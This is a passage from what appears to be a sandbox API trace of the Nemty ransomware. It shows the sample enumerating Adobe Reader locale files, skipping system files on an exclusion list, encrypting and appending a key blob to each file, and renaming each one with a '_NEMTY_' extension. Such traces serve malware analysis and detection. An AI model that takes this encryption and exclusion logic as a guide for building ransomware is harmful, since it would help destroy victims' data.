lpUsedDefaultChar=0x0) returned 12 [0183.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.881] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.881] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SLV", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.SLV", lpUsedDefaultChar=0x0) returned 12 [0183.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.881] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.881] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SLV", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.SLV", lpUsedDefaultChar=0x0) returned 12 [0183.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.881] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.881] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SLV", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.SLV", lpUsedDefaultChar=0x0) returned 12 [0183.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.881] Sleep (dwMilliseconds=0x5) [0183.891] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21411530, dwHighDateTime=0x1d561e8)) [0183.891] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21411530, dwHighDateTime=0x1d561e8)) [0183.891] GetLastError () returned 0x0 [0183.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.891] GetLastError () returned 0x0 [0183.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.891] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.891] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.891] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.891] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="0SqnzilGDSBRPW0j1OP69Arh0mPnuX7JwVFI+7O8IyBIeVwReJoax1EQKpt2YyY3\r\n07fEFkUfj5Has58hZMOwXHzfJSvSlFWGqDqVVz9wu/6xwkFwSS/Je5WB1N3Ez4ft\r\n0rhXuBGY+nKvq8rlKz43tuLc//8JJbIkiq5GRRUc5/Hbg9Pj0aC7TxkWw/50MAiH\r\n/XVIJ2u3Z+/uAUmGci8TBBoNZIjsPdqgokzEUKuPHZNWSDvhqboJS0wr0ozddZXc\r\nQB+oMYYiVItX9rZDld5GzI+q7CJ3QFaqnYUo78HvYalEQe5zvVGMxrtCYPyiC6Gj\r\nmKU+eQZDBh/VWiv1INrCGQ==\r\n", pcchString=0x653e5dc) returned 1 [0183.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.891] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Checkers.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\checkers.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.892] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=120832) returned 1 [0183.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0183.892] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.892] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0183.901] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.901] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0183.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.901] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=120832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d800 [0183.901] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.901] CloseHandle (hObject=0x2e8) returned 1 [0183.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.901] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.902] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.902] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Checkers.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\checkers.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Checkers.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\checkers.slv._nemty_kgobjgd_")) returned 1 [0183.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.903] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.SLV", cAlternateFileName="")) returned 1 [0183.903] lstrcmpiW (lpString1="DigSig.SLV", lpString2=".") returned 1 [0183.903] lstrcmpiW (lpString1="DigSig.SLV", lpString2="..") returned 1 [0183.903] lstrcmpiW (lpString1="DigSig.SLV", lpString2="...") returned 1 [0183.903] lstrcmpiW (lpString1="DigSig.SLV", lpString2="windows") returned -1 [0183.903] lstrcmpiW (lpString1="DigSig.SLV", lpString2="$RECYCLE.BIN") returned 1 [0183.903] lstrcmpiW (lpString1="DigSig.SLV", lpString2="rsa") returned -1 [0183.903] lstrcmpiW (lpString1="DigSig.SLV", lpString2="NTDETECT.COM") returned -1 [0183.903] lstrcmpiW (lpString1="DigSig.SLV", lpString2="ntldr") returned -1 [0183.903] lstrcmpiW (lpString1="DigSig.SLV", lpString2="MSDOS.SYS") returned -1 [0183.903] lstrcmpiW (lpString1="DigSig.SLV", lpString2="IO.SYS") returned -1 [0183.903] lstrcmpiW (lpString1="DigSig.SLV", lpString2="boot.ini") returned 1 [0183.903] lstrcmpiW (lpString1="DigSig.SLV", lpString2="boot.ini") returned 1 [0183.903] lstrcmpiW (lpString1="DigSig.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0183.903] lstrcmpiW (lpString1="DigSig.SLV", lpString2="ntuser.dat") returned -1 [0183.903] lstrcmpiW (lpString1="DigSig.SLV", lpString2="desktop.ini") returned 1 [0183.903] lstrcmpiW (lpString1="DigSig.SLV", lpString2="CONFIG.SYS") returned 1 [0183.903] lstrcmpiW (lpString1="DigSig.SLV", lpString2="RECYCLER") returned -1 [0183.903] lstrcmpiW (lpString1="DigSig.SLV", lpString2="BOOTSECT.BAK") returned 1 [0183.903] lstrcmpiW (lpString1="DigSig.SLV", lpString2="bootmgr") returned 1 [0183.903] lstrcmpiW (lpString1="DigSig.SLV", lpString2="programdata") returned -1 [0183.903] lstrcmpiW (lpString1="DigSig.SLV", lpString2="appdata") returned 1 [0183.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SLV", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.SLV", lpUsedDefaultChar=0x0) returned 10 [0183.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SLV", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.SLV", lpUsedDefaultChar=0x0) returned 10 [0183.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.904] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.904] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SLV", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.SLV", lpUsedDefaultChar=0x0) returned 10 [0183.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.904] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.904] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SLV", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.SLV", lpUsedDefaultChar=0x0) returned 10 [0183.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0183.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0183.904] Sleep (dwMilliseconds=0x5) [0183.907] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21437690, dwHighDateTime=0x1d561e8)) [0183.907] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21437690, dwHighDateTime=0x1d561e8)) [0183.907] GetLastError () returned 0x0 [0183.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.907] GetLastError () returned 0x0 [0183.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.907] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.907] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.907] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0183.907] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="P4eO8zlY4DaXTGKO05fMcOrAFZvQgU26I8u1RcbquABNgJdhiHMCJCMyH+XtUN/T\r\nDVfbCknlJlgFuFns31Nh5zJtREfaK1YemXt7Tb2hEWNOZj/UhGpZ4mkmE6UTavK1\r\ngm5Pyz2SnQj1A7z1QBPS3Szimw602wpDKCohXmcAMKhvkAFtNTIBH8gqA8a9B6o7\r\n27IoOjFX1bJrxxGekPT5c7cNfyVw/UV/jR/LK2zpQZyIQfCuB9PdXGs4b00Ys8M+\r\nvtfRkhhC9ZFbltzglC+4As9ltgkDgu+xt5+LTvt+8v4lL+8IkvGLt5hrgwj4LsXn\r\nih+JGKCsGy/22awFYlxdAg==\r\n", pcchString=0x653e5dc) returned 1 [0183.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0183.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.908] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\DigSig.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\digsig.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.908] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=122880) returned 1 [0183.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0183.908] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.908] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0183.917] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.917] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0183.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.917] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=122880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e000 [0183.917] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.918] CloseHandle (hObject=0x2e8) returned 1 [0183.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0183.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0183.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.918] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\DigSig.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\digsig.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\DigSig.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\digsig.slv._nemty_kgobjgd_")) returned 1 [0183.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0183.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0183.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0183.919] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.SLV", cAlternateFileName="")) returned 1 [0183.919] lstrcmpiW (lpString1="DVA.SLV", lpString2=".") returned 1 [0183.919] lstrcmpiW (lpString1="DVA.SLV", lpString2="..") returned 1 [0183.919] lstrcmpiW (lpString1="DVA.SLV", lpString2="...") returned 1 [0183.919] lstrcmpiW (lpString1="DVA.SLV", lpString2="windows") returned -1 [0183.919] lstrcmpiW (lpString1="DVA.SLV", lpString2="$RECYCLE.BIN") returned 1 [0183.919] lstrcmpiW (lpString1="DVA.SLV", lpString2="rsa") returned -1 [0183.919] lstrcmpiW (lpString1="DVA.SLV", lpString2="NTDETECT.COM") returned -1 [0183.919] lstrcmpiW (lpString1="DVA.SLV", lpString2="ntldr") returned -1 [0183.919] lstrcmpiW (lpString1="DVA.SLV", lpString2="MSDOS.SYS") returned -1 [0183.919] lstrcmpiW (lpString1="DVA.SLV", lpString2="IO.SYS") returned -1 [0183.919] lstrcmpiW (lpString1="DVA.SLV", lpString2="boot.ini") returned 1 [0183.919] lstrcmpiW (lpString1="DVA.SLV", lpString2="boot.ini") returned 1 [0183.919] lstrcmpiW (lpString1="DVA.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0183.919] lstrcmpiW (lpString1="DVA.SLV", lpString2="ntuser.dat") returned -1 [0183.919] lstrcmpiW (lpString1="DVA.SLV", lpString2="desktop.ini") returned 1 [0183.919] lstrcmpiW (lpString1="DVA.SLV", lpString2="CONFIG.SYS") returned 1 [0183.919] lstrcmpiW (lpString1="DVA.SLV", lpString2="RECYCLER") returned -1 [0183.919] lstrcmpiW (lpString1="DVA.SLV", 